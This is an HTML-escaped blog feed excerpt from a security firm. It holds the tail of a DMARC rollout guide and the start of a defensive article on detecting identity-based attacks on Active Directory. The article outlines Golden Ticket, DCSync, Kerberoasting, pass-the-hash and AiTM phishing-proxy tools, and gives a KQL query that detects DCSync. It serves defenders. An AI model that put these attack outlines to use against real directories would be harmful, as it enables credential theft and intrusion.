&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;dkim&amp;gt;fail&amp;lt;/dkim&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;spf&amp;gt;fail&amp;lt;/spf&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            &amp;lt;!-- Kein SPF für diese IP! --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;/policy_evaluated&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;/row&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &amp;lt;/record&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;lt;/feedback&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;→ 450 emails from Google: SPF+DKIM pass → legitimate sender ✓&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;→ 3 emails from 198.51.100.42: FAIL → spoofing or forgotten sender!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DMARC reporting services (XML analysis):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Free: Postmark DMARC (dmarcdigests.com), Google Postmaster Tools&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Affordable: DMARC Analyzer, Valimail Monitor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Professional: Agari, Red Sift OnDMARC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Self-hosted: parsedmarc + Elasticsearch/Kibana&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;step-5-rollout-strategy&quot;&gt;Step 5: Rollout Strategy&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DMARC Rollout: From none to reject (recommended timeline):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Weeks 1-4: Monitoring phase (p=none)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.example.com TXT &quot;v=DMARC1; p=none; rua=mailto:dmarc@example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Actions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Collect and analyze all aggregate reports&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Identify all sending systems (marketing, CRM, monitoring, etc.)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Correctly configure SPF for all senders&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Enable DKIM for all senders&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Goal: 100% DMARC pass rate for legitimate emails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Weeks 5-8: Quarantine 25% (initial enforcement)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.example.com TXT &quot;v=DMARC1; p=quarantine; pct=25; rua=...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → 25% of DMARC-failed emails → Spam folder (attacker traffic)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → 75% of DMARC-failed emails: no action yet&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Continue analyzing reports: are there any legitimate failures?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Weeks 9-12: Quarantine 75%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.example.com TXT &quot;v=DMARC1; p=quarantine; pct=75; rua=...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → 75% of attacker emails → Spam&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Weeks 13-16: Quarantine 100%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.example.com TXT &quot;v=DMARC1; p=quarantine; pct=100; rua=...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → All DMARC fails → Spam&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Week 17+: Reject (Full protection)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.example.com TXT &quot;v=DMARC1; p=reject; rua=...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → DMARC failure → immediately rejected → spoofing impossible!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Common rollout errors:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Rejecting too quickly: forgotten sender → legitimate emails rejected!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → SPF lookup limit exceeded (&amp;gt;10 DNS lookups)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → DKIM for mailing lists (list rewriting breaks DKIM signature)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Subdomains forgotten: marketing.example.com sends without DMARC alignment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;subdomains-and-multi-domain-scenarios&quot;&gt;Subdomains and Multi-Domain Scenarios&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Subdomain handling:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Default: DMARC policy applies ONLY to the specified domain&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.example.com → applies to example.com emails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Subdomains (mail.example.com) inherit the policy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Explicit subdomain policy (sp=):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=DMARC1; p=reject; sp=none;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Main domain: reject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Subdomains: none (no enforcement)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Useful if subdomains are still being configured!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Separate DMARC records for subdomains:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.mail.example.com TXT &quot;v=DMARC1; p=reject; ...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Overrides inherited policy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Multi-domain scenarios:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  example.com (main domain):        DMARC p=reject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  example.de (German domain):  own DMARC record!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  example-test.com (test domain):    DMARC p=reject + SPF &quot;-all&quot; without IPs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                                    → No one can send from this domain!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Parked/Inactive Domains:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Domains that do not send: Configure DMARC + SPF to prevent abuse!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  _dmarc.oldomain.com TXT &quot;v=DMARC1; p=reject; rua=mailto:dmarc@example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  oldomain.com TXT &quot;v=spf1 -all&quot;   # No one is allowed to send&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # DKIM: no key → automatically fails (ok, since SPF also fails)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;dmarc-monitoring-tools&quot;&gt;DMARC Monitoring Tools&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Free and affordable DMARC monitoring solutions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Free tools:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parsedmarc (Open Source Python):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Reads reports from IMAP mailbox&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Saves to Elasticsearch or CSV&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Dashboard in Kibana or Grafana&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    pip install parsedmarc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parsedmarc -c parsedmarc.ini [email.xml]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Google Postmaster Tools:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    → postmaster.google.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    → Shows delivery rates, DMARC compliance, and reputation for Google recipients&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    → Free, but only for Google traffic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  MXToolbox DMARC Report Analyzer:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    → mxtoolbox.com/dmarc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    → Checks DMARC record + SPF + DKIM&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Cost-effective SaaS solutions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DMARC Analyzer (Mailhardener): starting at €25/month&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  EasyDMARC:                     starting at $0 (Freemium)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Valimail Monitor:              starting at $0 (Freemium)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  dmarcian:                      starting at $249/year&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Key KPIs for DMARC monitoring:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ DMARC pass rate: Target &amp;gt;98% (for all legitimate senders)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Fail rate: decreases after rollout (spoofing traffic)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Sources: Do all legitimate senders have a 100% pass rate?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ Abuse reports (call): Which IPs are spoofing the domain?&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded><category>Network &amp; Endpoint Security</category><author>kontakt@a7.de (Vincent Heinen)</author></item><item><title>ITDR: Detecting and Defending Against Identity-Based Attacks</title><link>https://a7.de/en/blog/identity-threat-detection-and-response-itdr-detecting-and/</link><guid isPermaLink="true">https://a7.de/en/blog/identity-threat-detection-and-response-itdr-detecting-and/</guid><description>How Identity Threat Detection and Response (ITDR) surfaces Golden Ticket, DCSync and Pass-the-Hash attacks the SIEM misses and hardens Active Directory.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ninety percent of all advanced persistent threats exploit compromised identities. Not malware, not exploits - identities. Attackers steal credentials, escalate privileges, move laterally through Active Directory, and persist in the environment - for months, undetected. Identity Threat Detection and Response (ITDR) is the answer to this reality.&lt;/p&gt;
&lt;h2 id=&quot;why-identity-attacks-are-so-hard-to-detect&quot;&gt;Why Identity Attacks Are So Hard to Detect&lt;/h2&gt;
&lt;h3 id=&quot;the-fundamental-problem&quot;&gt;The Fundamental Problem&lt;/h3&gt;
&lt;p&gt;Legitimate activity and attacker activity look identical to SIEM systems:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Legitimate Activity:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IT admin logs in → reads AD objects → changes group policies&lt;/li&gt;
&lt;li&gt;Security scanner performs LDAP query → checks user attributes&lt;/li&gt;
&lt;li&gt;Service account accesses database → sends Kerberos ticket&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Attacker activity (looks identical):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Compromised admin account logs in → reads AD (recon!)&lt;/li&gt;
&lt;li&gt;Pass-the-hash: Kerberos ticket with stolen NTLM hashes&lt;/li&gt;
&lt;li&gt;DCSync: DRSUAPI call to read all password hashes (looks like replication!)&lt;/li&gt;
&lt;li&gt;Golden Ticket: Valid Kerberos ticket with forged PAC&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;siem-gaps-in-identity-attacks&quot;&gt;SIEM Gaps in Identity Attacks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Too many legitimate Kerberos requests → threshold too high&lt;/li&gt;
&lt;li&gt;LDAP queries from admins are normal → Reconnaissance not detected&lt;/li&gt;
&lt;li&gt;DCSync originates from DC accounts → classified as replication by SIEM&lt;/li&gt;
&lt;li&gt;Pass-the-Hash: valid ticket, no malware IOC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;gt; Identity attacks often produce &lt;strong&gt;no&lt;/strong&gt; classic malware indicators!&lt;/p&gt;
&lt;h2 id=&quot;the-most-important-identity-attack-techniques&quot;&gt;The most important identity attack techniques&lt;/h2&gt;
&lt;h3 id=&quot;golden-ticket-t1558001&quot;&gt;Golden Ticket (T1558.001)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prerequisite:&lt;/strong&gt; KRBTGT hash (from DCSync or ntds.dit)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack:&lt;/strong&gt; Self-signed Kerberos TGT with arbitrary PAC values&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Access as any user, including Domain Admin, valid for 10+ years!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identifying characteristics:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;TGT lifetime &amp;gt; 10 hours (default value!)&lt;/li&gt;
&lt;li&gt;TGT attribute values do not match the user object in AD&lt;/li&gt;
&lt;li&gt;KDC event 4769 without preceding 4768&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;silver-ticket-t1558002&quot;&gt;Silver Ticket (T1558.002)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prerequisite:&lt;/strong&gt; Service account NTLM hash (e.g., MSSQL service)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack:&lt;/strong&gt; Forged Kerberos service ticket for this service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Direct access to the service without KDC involvement!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identifying characteristics:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Service events without a preceding KDC-4769&lt;/li&gt;
&lt;li&gt;Ticket encryption type: RC4 (instead of AES256)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;dcsync-t1003006&quot;&gt;DCSync (T1003.006)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prerequisite:&lt;/strong&gt; Replication rights (DA/DC or stolen)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack:&lt;/strong&gt; DS-Replication-Get-Changes-All DRSUAPI calls&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; All password hashes from AD, including KRBTGT!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection criteria:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Event 4662 with DRSUAPI property GUIDs&lt;/li&gt;
&lt;li&gt;From a non-DC source (DCs only replicate among themselves!)&lt;/li&gt;
&lt;li&gt;Mimikatz signature on the network (DRSUAPI calls from the workstation)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pass-the-hash--pass-the-ticket-t1550&quot;&gt;Pass-the-Hash / Pass-the-Ticket (T1550)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pass-the-Hash:&lt;/strong&gt; NTLM hash instead of password for authentication&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass-the-Ticket:&lt;/strong&gt; Stolen Kerberos ticket for lateral movement&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection criteria:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Authentication from host without prior credential entry&lt;/li&gt;
&lt;li&gt;NTLM authentication despite Kerberos policy&lt;/li&gt;
&lt;li&gt;Event 4624 Logon Type 9 (NewCredentials) + 4648 (Explicit Credentials)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;kerberoasting-t1558003&quot;&gt;Kerberoasting (T1558.003)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Attack:&lt;/strong&gt; SPN accounts (Service Principal Names) → Request TGS → Crack TGS offline (no password errors in the log!)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection criteria:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Many TGS requests (4769) with RC4 encryption&lt;/li&gt;
&lt;li&gt;Requests for SPNs at unusual times&lt;/li&gt;
&lt;li&gt;Account that has never interacted before → requests many SPNs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;mfa-bypass---adversary-in-the-middle-aitm&quot;&gt;MFA bypass - Adversary-in-the-Middle (AiTM)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Attack:&lt;/strong&gt; Evilginx, Modlishka, Muraena as proxy → Phishing site proxied legitimate login (including MFA!) → Session cookie stolen (POST-MFA!)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection criteria:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Impossible Travel: Login from Germany + immediately to the USA&lt;/li&gt;
&lt;li&gt;Unknown device/browser fingerprint after login&lt;/li&gt;
&lt;li&gt;Token replay from a different IP than the original login&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;itdr-solution-approaches&quot;&gt;ITDR Solution Approaches&lt;/h2&gt;
&lt;h3 id=&quot;category-1---active-directory-focused&quot;&gt;Category 1 - Active Directory-focused&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Defender for Identity (MDI)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Formerly: Azure ATP (Advanced Threat Protection)&lt;/li&gt;
&lt;li&gt;Deployment: Sensor on DCs (Domain Controllers)&lt;/li&gt;
&lt;li&gt;Analyzes AD DS traffic + event logs in real time&lt;/li&gt;
&lt;li&gt;Detects: DCSync, Kerberoasting, Golden Ticket, Password Spraying&lt;/li&gt;
&lt;li&gt;ATT&amp;amp;CK Coverage: ~40+ identity-specific techniques&lt;/li&gt;
&lt;li&gt;Integration: Microsoft Sentinel, Defender for Endpoint&lt;/li&gt;
&lt;li&gt;Cost: Included in Microsoft 365 E5 / Defender for Endpoint Plan 2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CrowdStrike Falcon Identity&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Agent-based on DCs + workstations&lt;/li&gt;
&lt;li&gt;Real-time prevention (not just detection!)&lt;/li&gt;
&lt;li&gt;Prevents pass-the-hash BEFORE authentication occurs&lt;/li&gt;
&lt;li&gt;Identity Behavior Graph: Baseline of normal user activity&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Vectra AI (Detect for Active Directory)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ML-based anomaly detection in AD traffic&lt;/li&gt;
&lt;li&gt;No signatures, only behavioral baselines&lt;/li&gt;
&lt;li&gt;Suitable for hybrid AD + Azure AD environments&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;category-2---identity-infrastructure-protection&quot;&gt;Category 2 - Identity Infrastructure Protection&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Silverfort&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Agentless MFA for every resource (including legacy systems!)&lt;/li&gt;
&lt;li&gt;Protects service accounts (that lack standard MFA)&lt;/li&gt;
&lt;li&gt;Risk-based authentication rules&lt;/li&gt;
&lt;li&gt;Identity Firewall: blocks lateral movement based on identity risk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Illusive Networks&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Identity Risk Assessment: which service accounts have too many privileges?&lt;/li&gt;
&lt;li&gt;Deception component: fake credentials on endpoints&lt;/li&gt;
&lt;li&gt;If a fake admin account is used → immediate alert!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;category-3---integrated-platforms&quot;&gt;Category 3 - Integrated Platforms&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Entra ID Protection&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Risk-based conditional access&lt;/li&gt;
&lt;li&gt;User risk + sign-in risk based on ML scoring&lt;/li&gt;
&lt;li&gt;Enforces MFA/password reset for risky logins&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SailPoint IdentityIQ + ITDR&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IGA (Identity Governance) + ITDR combined&lt;/li&gt;
&lt;li&gt;Access certification + anomaly detection&lt;/li&gt;
&lt;li&gt;Continuous least privilege enforcement&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;prioritize-detection-use-cases&quot;&gt;Prioritize Detection Use Cases&lt;/h2&gt;
&lt;h3 id=&quot;critical-immediate-alert--manual-investigation&quot;&gt;CRITICAL (immediate alert → manual investigation)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. DCSync detection (KQL - Microsoft Sentinel / Defender):&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;SecurityEvent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; EventID == &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4662&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Properties &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2&quot;&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // DS-Replication-Get-Changes-All&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; SubjectUserName &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!endswith&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;$&quot;&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Not from DC computer account&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;project&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TimeGenerated, SubjectUserName, IpAddress, Computer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
